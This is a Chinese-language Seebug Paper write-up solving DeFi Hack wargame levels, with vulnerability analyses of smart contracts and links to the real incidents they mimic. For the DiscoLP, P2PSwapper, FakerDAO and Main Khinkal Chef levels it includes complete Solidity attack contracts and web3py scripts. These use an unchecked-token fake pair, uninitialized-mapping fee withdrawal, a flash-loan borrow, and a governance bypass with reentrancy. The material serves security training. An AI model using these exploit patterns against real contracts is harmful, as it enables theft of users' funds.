作者:0x9k
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
前言
DeFi Hack是根据真实世界DeFi中出现的漏洞为模板,抽象而来的wargame。用以提高学习者挖掘、利用DeFi智能合约漏洞的技能[1]。
May The Force Be With You
题目描述
本关目标是从MayTheForceBeWithYou合约中盗取所有的YODA token,难度三颗星。
合约代码分析
YODA token是自实现的ERC20,自己实现了transfer方法。其自实现的doTransfer方法在token数量不足的情况下,并没有revert,而仅仅只是返回false。
攻击
真实场景
https://blog.forcedao.com/xforce-exploit-post-mortem-7fa9dcba2ac3
DiscoLP
题目描述
本关基于Uniswap2实现了一个自己的流动性池DiscoLP(流动性token为DISCO),配对了JIMBO和JAMBO两种token。初始时给定player 1JIMBO和1JAMBO,期望用户获得100流动性token DISCO。难度七颗星。
合约代码分析
depositToken函数没有针对传入的token(可控)进行有效性判断(判断是否为JIMBO、JAMBO)。致使后续在Uniswap路由中判断配对合约时并不是JIMBO&JAMBO,而是用户传入的token和配对合约中的一个token。
攻击
恶意构造一个token并mint,与配对合约中的tokenA创一个新的配对合约到Uniswap。调用depositToken获取得到超过100流动性的DISCO,再把获取的流动性token由攻击者合约转给player即可。
pragma solidity >=0.6.5;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol";
interface IDiscoLP {
function depositToken(address _token, uint256 _amount, uint256 _minShares) external;
function balanceOf(address from) external returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract Token is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
_mint(msg.sender, 2**256 - 1);
}
}
library $ {
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
interface IPair {
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
}
contract DiscoLPAttack {
function getToken0(address pair) public view returns(address) {
return IPair(pair).token0();
}
function atttack(address instance, uint256 amount, address tokenA) public payable {
address _factory = $.UniswapV2_FACTORY;
address _router = $.UniswapV2_ROUTER02;
ERC20 evilToken = new Token("Evil Token", "EVIL");
address pair = IUniswapV2Factory(_factory).createPair(address(evilToken), address(tokenA));
evilToken.approve(instance, uint256(-1));
evilToken.approve(_router, uint256(-1));
IERC20(tokenA).approve(_router, uint256(-1));
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(evilToken),
address(tokenA),
1000000 * 10 ** 18,
1 * 10 ** 18,
1, 1, address(this), uint256(-1));
IDiscoLP(instance).depositToken(address(evilToken), amount, 1);
}
function transferDiscoLP2Player(address instance, address player) public payable {
uint256 balance = IDiscoLP(instance).balanceOf(address(this));
IDiscoLP(instance).approve(address(this), uint256(-1));
IDiscoLP(instance).transfer(player, balance);
}
}
/**
* step1: get reserveToken() from instance
* step2: deploy attack contract
* step3: get token0 on pair attack.getToken0(reserveToken)
* step4: token0.transfer(attack contract, 1 * 10 ** 18)
* Token contract At Address in remix then transfer
* step5: attack contract attack(instance, 1000000 * 10 ** 18, token0)
* step6: transferDiscoLP2Player(instance, player)
* step7: in DiscoLP balanceOf(player)
**/
真实场景
https://growthdefi.medium.com/raave-farming-contract-exploit-explained-f3b6f0b3c1b3
P2PSwapper
题目描述
本关实现了一个零信任的DEX,并提供了交易相关的操作(创建createDeal、处理takeDeal、取消cancleDeal等)。目标是盗取P2PSwapper 合约中所有的WETH token。难度五颗星。
合约代码分析
默认partnerById和userByAddress并未初始化,当withdrawFees的user不存在,能bypass检查,使得userByAddress[msg.sender] == 0 == partnerById[userId]。从而实现多次withdrawFees,最终实现提取完合约P2PSwapper中的WETH。
攻击
/**
* 1. 初始时P2PSwapper中的weth token,balanceOf(instance) == 313337+1 = 313338
* instance.createDeal{value: 313337}(p2pweth, 1, p2pweth, 1000000000000);
* partnerFees[0] = 313338/2 = 1566669
*
* 2. 攻击者player调用p2pweth.deposit(1eth)
* 3. 攻击者player调用approve(instance, 10eth = 1*10^19 = 10000000000000000000)完成授权
* 4. 攻击者player调用P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 313338+1+3133338 = 3446677
*
* 5. 攻击者player调用P2PSwapper.withdrawFees(player2)提取到一个未注册&初始化的用户地址player2
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 3446677 - partnerFees[0] = 3446677 - 1566669 = 1880008
*
* 6. 攻击者player调用P2PSwapper.withdrawFees(player3)提取到一个未注册&初始化的用户地址player3
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 1880008 - partnerFees[0] = 1880008 - 1566669 = 313339
*
* 7. 继续withdrawFees合约余额是不足的,需要稍加计算先给合约转入weth p2pweth.transfer(instance) = 1253330
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 313339 + 1253330 = 1566669 = partnerFees[0]
*
* 8. 攻击者player调用P2PSwapper.withdrawFees(player4)提取到一个未注册&初始化的用户地址player4
* 此时P2PSwapper合约instance的余额 balanceOf(instance) = 1566669 - partnerFees[0] = 1566669 - 1566669 = 0
*
* done
**/
上述过程可以利用web3py&web3js编写自动化脚本。web3py攻击脚本如下:
# -*-coding:utf-8-*-
__author__ = 'joker'
import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy
# infura_url = 'https://ropsten.infura.io/v3/xxxx'
infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))
web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))
player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))
player2_address = ''
player3_address = ''
player4_address = ''
def send_transaction_sync(tx, account, args={}):
args['nonce'] = web3.eth.getTransactionCount(account.address)
signed_txn = account.signTransaction(tx.buildTransaction(args))
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
time.sleep(30)
return web3.eth.waitForTransactionReceipt(tx_hash)
challenge_address = ""
with open('./P2PSwapper/challenge.abi', 'r') as f:
abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
p2pweth_address = challenge_contract.functions.p2pweth().call()
print("[+] p2pweth {0}...".format(p2pweth_address))
with open('./P2PSwapper/p2pweth.abi', 'r') as f:
abi = json.load(f)
p2pweth_contract = web3.eth.contract(address=p2pweth_address, abi=abi)
# p2pweth.deposit(1eth)
print("[+] step1 player p2pweth deposit 1eth...")
tx = p2pweth_contract.functions.deposit()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 1000000000000000000})
#
# approve(instance, 10eth = 1*10^19 = 10000000000000000000)
print("[+] step2 player approve(instance, 10eth = 1*10^19 = 10000000000000000000)...")
tx = p2pweth_contract.functions.approve(guy=challenge_address, wad=10000000000000000000)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.createDeal(p2pweth, 1, p2pweth, 1) (value:3133338)
print("[+] step3 createDeal(p2pweth, 1, p2pweth, 1) with player (value:3133338)...")
tx = challenge_contract.functions.createDeal(bidToken=p2pweth_address, bidPrice=1, askToken=p2pweth_address, askAmount=1)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice, 'value': 3133338})
#
# P2PSwapper.withdrawFees(player2)
print("[+] step4 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player2_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.withdrawFees(player3)
print("[+] step5 withdrawFees(player3) from player...")
tx = challenge_contract.functions.withdrawFees(user=player3_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# p2pweth.transfer(instance) = 1253330
print("[+] step6 p2pweth.transfer(instance) = 1253330...")
tx = p2pweth_contract.functions.transfer(dst=challenge_address, wad=1253330)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# P2PSwapper.withdrawFees(player4)
print("[+] step7 withdrawFees(player2) from player...")
tx = challenge_contract.functions.withdrawFees(user=player4_address)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
print('[+] Solved {0} ...'.format(p2pweth_contract.functions.balanceOf(challenge_address).call() == 0))
真实场景
FakerDAO
题目描述
本关是一个基于Uniswap实现的DAO合约,使用YIN&YANG实现配对合约。初始时player拥有5000YIN&5000YANG,目标从FakerDAO合约中借取1LAMBO的流动性代币。难度七颗星。
合约代码分析
很明显,利用Uniswap的闪电贷属性[2],完成借贷并在闪电贷过程中调用FakerDAO合约的borrow获取流动性token,然后归还闪电贷即可。闪电贷[2]需要实现IUniswapV2Callee接口的uniswapV2Call方法。
攻击
首先从攻击合约中获取配对合约token0&token1,把player拥有的初始化token,转给攻击合约,攻击合约实现uniswapV2Call接口,利用闪电贷(Flash Loan)完成借贷,并调用FakerDAO.borrow方法获取流动性token,最后归还闪电贷。
pragma solidity ^0.6.0;
import "https://github.com/Uniswap/v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
import "./UniswapV2Library.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";
contract FakerDAOAttack is IUniswapV2Callee{
address public instance;
function attack(address _instance, address _pair, uint256 amount0Out, uint256 amount1Out) public {
instance = _instance;
// (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
address token0 = Pair(_pair).token0();
address token1 = Pair(_pair).token1();
address _router = $.UniswapV2_ROUTER02;
IERC20(token0).approve(_router, uint256(-1));
IERC20(token1).approve(_router, uint256(-1));
IERC20(_pair).approve(_instance, uint256(-1));
// add liquidity
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
token0,
token1,
1500 * 10 ** 18,
1500 * 10 ** 18,
1, 1, address(this), uint256(-1));
Pair(_pair).swap(amount0Out, amount1Out, address(this), bytes('not empty'));
}
function uniswapV2Call(address _sender, uint _amount0, uint _amount1, bytes calldata _data) external override {
// address[] memory path = new address[](2);
// uint amountToken = _amount0 == 0 ? _amount1 : _amount0;
address token0 = Pair(msg.sender).token0();
address token1 = Pair(msg.sender).token1();
require(msg.sender == UniswapV2Library.pairFor($.UniswapV2_FACTORY, token0, token1),'Unauthorized');
FakerDAO(instance).borrow(1);
// transfer into pair(msg.sender)
// return flash loan
IERC20(token0).transfer(msg.sender, IERC20(token0).balanceOf(address(this)));
IERC20(token1).transfer(msg.sender, IERC20(token1).balanceOf(address(this)));
}
function toPlayer() public {
FakerDAO(instance).transfer(msg.sender, 1);
}
}
interface FakerDAO is IERC20 {
function borrow(uint256 _amount) external;
}
library $
{
address constant UniswapV2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // ropsten
address constant UniswapV2_ROUTER02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // ropsten
}
interface Pair is IERC20
{
function token0() external view returns (address _token0);
function token1() external view returns (address _token1);
function price0CumulativeLast() external view returns (uint256 _price0CumulativeLast);
function price1CumulativeLast() external view returns (uint256 _price1CumulativeLast);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function mint(address _to) external returns (uint256 _liquidity);
function sync() external;
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUniswapV2Router {
function WETH() external pure returns (address _token);
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
function removeLiquidity(address _tokenA, address _tokenB, uint256 _liquidity, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB);
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external returns (uint256[] memory _amounts);
function swapETHForExactTokens(uint256 _amountOut, address[] calldata _path, address _to, uint256 _deadline) external payable returns (uint256[] memory _amounts);
function getAmountOut(uint256 _amountIn, uint256 _reserveIn, uint256 _reserveOut) external pure returns (uint256 _amountOut);
}
/**
* steps:
* 1) get token0 and token1 on contract.pair
* 2) deploy FakerDAOAttack
* 3) token0.transfer(FakerDAOAttack, 5000000000000000000000) from player
* 4) token1.transfer(FakerDAOAttack, 5000000000000000000000) from player
* 5) FakerDAOAttack.attack(instance, pair, 1, 999999999999999999999999)
* 6) FakerDAOAttack.toPlayer
*/
真实场景
https://slowmist.medium.com/analysis-of-warp-finance-hacked-incident-cb12a1af74cc
Main Khinkal Chef
题目描述
本关MainChef合约实现了流动性池管理的工具,可以通过add添加池子Pool信息,随着区块时间的变化,会针对Pool池子进行奖励(通过updatePool完成)。奖励通过代币KhinkalToken进行发放,每当池子更新,MainChef合约都会mint对应的奖励代币KhinkalToken,目标是盗取MainChef合约中所有的KHINKAL token。难度五颗星。
合约代码分析
setGovernance用以修改管理员,检查逻辑存在严重错误,可以修改管理员,从而实现向合约中添加新的token即形成新的Pool。正确的检查逻辑应该如下(多了一个下划线,导致和参数一致):
require(msg.sender == owner() || msg.sender == governance, "Access denied");
有了管理员权限之后,可以添加任意的token(evil token)。
在任意添加token之后,token的transferfrom为攻击者可控的恶意函数。
由于token可控,user.amount在token.transfer之后重置,致使可以利用重入攻击多次withdraw,从而实现抽干合约中的代币。
由于token可控,token的balanceOf函数可控,利用lpSupply可以控制是否奖励,这在后续攻击中需要用到,用来计算此时MainChef中的奖励代币KhinkalToken数量。
攻击
由于奖励代币KhinkalToken和区块高度息息相关,在真实场景中交易频繁,为了很好的实现精准控制,需要针对重入攻击(token.tranfser)进行精确布局,以保证能自适应区块高度的变化。
完整的攻击代码分为攻击合约&攻击脚本web3py,攻击脚本进行相关的计算并调用攻击合约完成攻击。 攻击合约如下:
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/IERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/access/Ownable.sol";
import "./KhinkalToken.sol";
interface IMainChef {
function setGovernance(address _governance) external;
function withdraw(uint256 _pid) external;
function deposit(uint256 _pid,uint256 _amount) external;
function addToken(IERC20 _lpToken) external;
function updatePool(uint256 _pid) external;
}
contract MainChefAttack is Ownable {
IMainChef target;
uint pwnedtransferFlag;
uint pwnedtransferFromFlag;
uint balanceOfFlag;
uint256 pid;
KhinkalToken khinkal;
uint256 accKhinkalPerShare;
constructor(address _target, address _token) public {
target = IMainChef(_target);
khinkal = KhinkalToken(_token);
balanceOfFlag = 1;
pid = 1;
pwnedtransferFlag = 0;
}
function setAccKhinkalPerShare(uint256 _accKhinkalPerShare) public onlyOwner {
accKhinkalPerShare = _accKhinkalPerShare;
}
// function balanceOf(address account) public view virtual returns (uint256) {
function balanceOf(address account) public virtual returns (uint256) {
if (balanceOfFlag == 1) {
return 0;
} else {
return 1e18;
}
}
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
// reentrant attack exp
if (pwnedtransferFlag == 1) {
pwnedtransferFlag = 2;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
if (pwnedtransferFlag == 2) {
// 1 + 78333646677 = 78333646678
// withdraw 500004127749479808 * 2
uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;
if (leftBalanceChallenge < withdrawBalance) {
khinkal.transfer(address(target), withdrawBalance - leftBalanceChallenge);
} else if (leftBalanceChallenge < 2 * withdrawBalance) {
khinkal.transfer(address(target), 2 * withdrawBalance - leftBalanceChallenge);
}
pwnedtransferFlag = 3;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
if (pwnedtransferFlag == 3) {
pwnedtransferFlag = 0;
if (khinkal.balanceOf(address(target)) > 0) {
target.withdraw(pid);
}
return true;
}
return true;
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/solc-0.6/contracts/token/ERC20/ERC20.sol
function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
return true;
}
function attackPwnedPrepare() public payable onlyOwner {
target.setGovernance(address(this));
target.addToken(IERC20(address(this)));
// after 5 block number
/**
* internal 5 block number
khinkalReward = 5 * 31333333337 / 2 = 78333333342
accKhinkalPerShare = khinkalReward * 1e12 /1e18
= 78333333342 * 1e12 / 1e18
= 78333
instance = 313337 + khinkalReward
= 313337 + 78333333342
= 78333646679
lastKhinkalReward = khinkalReward = 78333333342
bypass require(pending <= pool.lastKhinkalReward, "Reward bigger than minted");
78333646679
78333646679 / 2 = 39166823339
>>> "%.40f" %(39166823339*1e12/78333)
'500004127749479808.0000000000000000000000000000000000000000'
*/
target.deposit(pid, 500004127749479808);
}
function attackUpdatePool() public payable onlyOwner {
balanceOfFlag = 0;
target.updatePool(pid);
balanceOfFlag = 1;
}
function attackPwned() public payable onlyOwner {
pwnedtransferFlag = 1;
target.withdraw(pid);
}
function validateInstanceAddress() public view returns (bool) {
return khinkal.balanceOf(address(target)) == 0;
}
function getInstance() public view returns (address) {
return address(target);
}
function getTokenAddress() public view returns (address) {
return address(khinkal);
}
}
/**
* 1. deployed MainChefAttack
* 2. MainChefAttack.attackPrepare()
* 3. MainChefAttack.attackUpdatePool()
* 4. MainChefAttack.setAccKhinkalPerShare()
* 3. MainChefAttack.attackPwned()
*/
攻击脚本如下:
# -*-coding:utf-8-*-
__author__ = 'joker'
import json
import time
from web3 import Web3, HTTPProvider
from web3.gas_strategies.time_based import fast_gas_price_strategy, slow_gas_price_strategy, medium_gas_price_strategy
infura_url = 'https://ropsten.infura.io/v3/xxxx'
# infura_url = 'http://127.0.0.1:7545'
web3 = Web3(Web3.HTTPProvider(infura_url, request_kwargs={'timeout': 600}))
web3.eth.setGasPriceStrategy(fast_gas_price_strategy)
gasprice = web3.eth.generateGasPrice()
print("[+] fast gas price {0}...".format(gasprice))
player_private_key = ''
player_account = web3.eth.account.privateKeyToAccount(player_private_key)
web3.eth.defaultAccount = player_account.address
print("[+] account {0}...".format(player_account.address))
def send_transaction_sync(tx, account, args={}):
args['nonce'] = web3.eth.getTransactionCount(account.address)
signed_txn = account.signTransaction(tx.buildTransaction(args))
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
time.sleep(30)
return web3.eth.waitForTransactionReceipt(tx_hash)
print("[+] step0 deployed attack contract...")
with open('./attack.abi', 'r') as f:
abi = json.load(f)
with open('./attack.bin', 'r') as f:
code = json.load(f)['object']
attack_contract = web3.eth.contract(bytecode=code, abi=abi)
challenge_address = ""
token_address = ""
tx = attack_contract.constructor(_target=challenge_address,
_token=token_address)
attack_contract_address = send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})[
'contractAddress']
print("[+] attack contract address {0}...".format(attack_contract_address))
attack_contract = web3.eth.contract(address=attack_contract_address, abi=abi)
# step1 attackPrepare
print("[+] step1 attackPwnedPrepare...")
tx = attack_contract.functions.attackPwnedPrepare()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
block_number = web3.eth.blockNumber
print("[+] block number {0}...".format(block_number))
print("[+] waiting for reach block number...")
while web3.eth.blockNumber != block_number + 4:
# print("[-] waiting ...")
continue
# step2 attackUpdatePool
print("[+] step2 attackUpdatePool...")
tx = attack_contract.functions.attackUpdatePool()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
input("any key to continue...")
# sometimes u can not get accurate block number of 4 maybe more
# to adapt to we need calc and tranfser
# uint256 leftBalanceChallenge = khinkal.balanceOf(address(target));
# uint256 withdrawBalance = 500004127749479808 * accKhinkalPerShare / 1e12;
# if (leftBalanceChallenge < 2 * withdrawBalance)
# khinkal.transfer(address(target),2 * withdrawBalance - leftBalanceChallenge);
# set accKhinkalPerShare to attack contract for calcing
print("[+] get accKhinkalPerShare and set it to attack contract...")
with open('./challenge.abi', 'r') as f:
abi = json.load(f)
challenge_contract = web3.eth.contract(address=challenge_address, abi=abi)
accKhinkalPerShare = challenge_contract.functions.poolInfo(1).call()[3]
tx = attack_contract.functions.setAccKhinkalPerShare(_accKhinkalPerShare=accKhinkalPerShare)
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# step3 attackPwned
print("[+] step3 attackPwned...")
tx = attack_contract.functions.attackPwned()
send_transaction_sync(tx, player_account, {'gas': 3000000, 'gasPrice': gasprice})
#
# check
print('[+] Solved {0} ...'.format(attack_contract.functions.validateInstanceAddress().call()))
#
真实场景
Reference
[1] https://mobile.twitter.com/theraz0r/status/1395288985740664834
[2] https://github.com/Uniswap/v2-periphery/blob/master/contracts/examples/ExampleFlashSwap.sol
附录
本地测试合约代码&攻击合约代码见https://github.com/0x9k/blockchain/defihack_xyz
本地测试合约统一从Factory进行部署,部署获取得到instance即为关卡合约地址。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1880/